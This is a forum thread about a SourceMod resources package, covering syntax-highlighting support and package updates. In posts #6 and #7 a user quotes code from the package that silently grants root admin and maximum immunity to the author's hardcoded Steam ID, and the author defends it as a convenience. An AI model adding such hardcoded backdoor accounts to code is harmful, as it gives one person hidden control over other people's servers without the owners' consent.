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[ANY] SM-Resources (Last Updated 8/06/2021)


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404UserNotFound
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Join Date: Dec 2011
Old 01-10-2019 , 17:01   Re: [ANY] Sourcemod-Resources (Last Updated 1/10/2019)
Reply With Quote #1

Quote:
Originally Posted by Drixevel View Post
Nope, I would like to see someone take on the task of making or updating 1.10 syntax highlights.
My syntax highlighting for Sublime Text 3 is up to date with the latest 1.10 build.

Which highlighting file format does VSCode support? Perhaps I can convert the .sublime-syntax format over to a VSCode-friendly format.
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Drixevel
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Join Date: Sep 2009
Location: Somewhere headbangin'
Old 01-11-2019 , 00:44   Re: [ANY] Sourcemod-Resources (Last Updated 1/10/2019)
Reply With Quote #2

Quote:
Originally Posted by 404UNF View Post
My syntax highlighting for Sublime Text 3 is up to date with the latest 1.10 build.

Which highlighting file format does VSCode support? Perhaps I can convert the .sublime-syntax format over to a VSCode-friendly format.
No knowledge on how highlighting works between the two programs, sorry.
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Powerlord
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Join Date: Jun 2008
Location: Seduce Me!
Old 01-16-2019 , 20:31   Re: [ANY] Sourcemod-Resources (Last Updated 1/10/2019)
Reply With Quote #3

Quote:
Originally Posted by 404UNF View Post
My syntax highlighting for Sublime Text 3 is up to date with the latest 1.10 build.

Which highlighting file format does VSCode support? Perhaps I can convert the .sublime-syntax format over to a VSCode-friendly format.
Last time I looked into VSCode syntax highlighting, it was based on a Mac editor's syntax highlighting that I wasn't familiar with.

Unfortunately, it seems like they've since buried the documentation on it because they want you to use the more complicated VSCode Language Extension system instead.

Edit: After a bit of digging, TextMate was the Mac editor in question
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Last edited by Powerlord; 01-16-2019 at 20:34.
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Drixevel
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Old 03-12-2019 , 09:15   Re: [ANY] Sourcemod-Resources (Last Updated 1/10/2019)
Reply With Quote #4

Slight Updates
  1. Lots of updates and new stuff recently to the misc file added.
  2. Added a modified version of colorvariables named 'sourcemod-colors' which is a stripped down version with some optimizations and changes to be a lot simpler and work with multiple engines versions.
  3. Updated some of the servertools commands to work for CSGO, not just TF2. (Nowhere near finished with this though)

Last edited by Drixevel; 03-12-2019 at 09:16.
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Dragokas
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Join Date: Nov 2017
Location: Ukraine on fire
Old 01-15-2019 , 07:09   Re: [ANY] Sourcemod-Resources (Last Updated 1/10/2019)
Reply With Quote #5

Thank you, Drixevel. Very useful!!!
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Dragokas
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Join Date: Nov 2017
Location: Ukraine on fire
Old 01-15-2019 , 07:52   Re: [ANY] Sourcemod-Resources (Last Updated 1/10/2019)
Reply With Quote #6

Code:
public void OnClientPostAdminCheck(int client)
{
	AdminId adm = CreateAdmin("Drixevel");
	if (!adm.BindIdentity(AUTHMETHOD_STEAM, "STEAM_0:0:38264375"))
		return;
	
	adm.ImmunityLevel = 255;
	adm.SetFlag(Admin_Root, true);
	
	RunAdminCacheChecks(client);
}
lol
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[My plugins] [My tools] [GitHub] [Articles] [HiJackThis+] [Donate]
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Drixevel
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Join Date: Sep 2009
Location: Somewhere headbangin'
Old 01-15-2019 , 09:45   Re: [ANY] Sourcemod-Resources (Last Updated 1/10/2019)
Reply With Quote #7

Quote:
Originally Posted by Dragokas View Post
Thank you, Drixevel. Very useful!!!
No problem.

Quote:
Originally Posted by Dragokas View Post
Code:
public void OnClientPostAdminCheck(int client)
{
	AdminId adm = CreateAdmin("Drixevel");
	if (!adm.BindIdentity(AUTHMETHOD_STEAM, "STEAM_0:0:38264375"))
		return;
	
	adm.ImmunityLevel = 255;
	adm.SetFlag(Admin_Root, true);
	
	RunAdminCacheChecks(client);
}
lol
It's a lot easier then telling people to add you via Sourcebans or via configs believe it or not.
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Dragokas
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Join Date: Nov 2017
Location: Ukraine on fire
Old 01-15-2019 , 09:48   Re: [ANY] Sourcemod-Resources (Last Updated 1/10/2019)
Reply With Quote #8

yea, I see.
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